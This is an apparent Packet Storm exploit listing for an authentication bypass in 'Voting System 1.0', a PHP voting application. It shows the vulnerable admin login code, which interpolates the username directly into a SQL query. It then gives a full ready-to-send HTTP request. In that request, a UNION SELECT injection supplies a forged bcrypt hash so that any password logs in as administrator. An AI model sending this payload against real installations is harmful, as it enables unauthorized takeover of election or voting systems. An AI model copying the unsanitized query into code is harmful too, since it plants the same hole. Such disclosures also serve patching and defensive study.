what you don't know can hurt you

Voting System 1.0 SQL Injection

Voting System 1.0 SQL Injection
Posted May 7, 2021
Authored by secure77

Voting System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass. Original discovery of SQL injection in this version is attributed to Syed Sheeraz Ali in May of 2021.

tags | exploit, remote, sql injection
MD5 | 8afb5f8641ff27243de8d79704ae5532

Voting System 1.0 SQL Injection

Change Mirror Download
# Exploit Title: Voting System 1.0 - Authentication Bypass (SQLI)
# Date: 06/05/2021
# Exploit Author: secure77
# Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Linux Debian 5.10.28-1kali1 (2021-04-12) x86_64 // PHP Version 7.4.15 & Built-in HTTP server // mysql Ver 15.1 Distrib 10.5.9-MariaDB

You can simply bypass the /admin/login.php with the following sql injection.
All you need is a bcrypt hash that is equal with your random password, the username should NOT match with an existing



########################### Vulnerable code ############################
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];

$sql = "SELECT * FROM admin WHERE username = '$username'";
$query = $conn->query($sql);

if($query->num_rows < 1){
$_SESSION['error'] = 'Cannot find account with the username';
}
else{
$row = $query->fetch_assoc();
echo "DB Password: " . $row['password'];
echo "<br>";
echo "<br>";
echo "Input Password: " . $password;
if(password_verify($password, $row['password'])){
echo "Equal";
$_SESSION['admin'] = $row['id'];
}
else{
echo "not Equal";
$_SESSION['error'] = 'Incorrect password';
}
}

}
else{
$_SESSION['error'] = 'Input admin credentials first';
}

########################### Payload ############################
POST /admin/login.php HTTP/1.1
Host: 192.168.1.1
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=tliephrsj1d5ljhbvsbccnqmff
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 167

login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -
Login or Register to add favorites

File Archive:

June 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    35 Files
  • 2
    Jun 2nd
    14 Files
  • 3
    Jun 3rd
    40 Files
  • 4
    Jun 4th
    22 Files
  • 5
    Jun 5th
    1 Files
  • 6
    Jun 6th
    1 Files
  • 7
    Jun 7th
    19 Files
  • 8
    Jun 8th
    14 Files
  • 9
    Jun 9th
    39 Files
  • 10
    Jun 10th
    20 Files
  • 11
    Jun 11th
    22 Files
  • 12
    Jun 12th
    2 Files
  • 13
    Jun 13th
    1 Files
  • 14
    Jun 14th
    32 Files
  • 15
    Jun 15th
    34 Files
  • 16
    Jun 16th
    9 Files
  • 17
    Jun 17th
    33 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close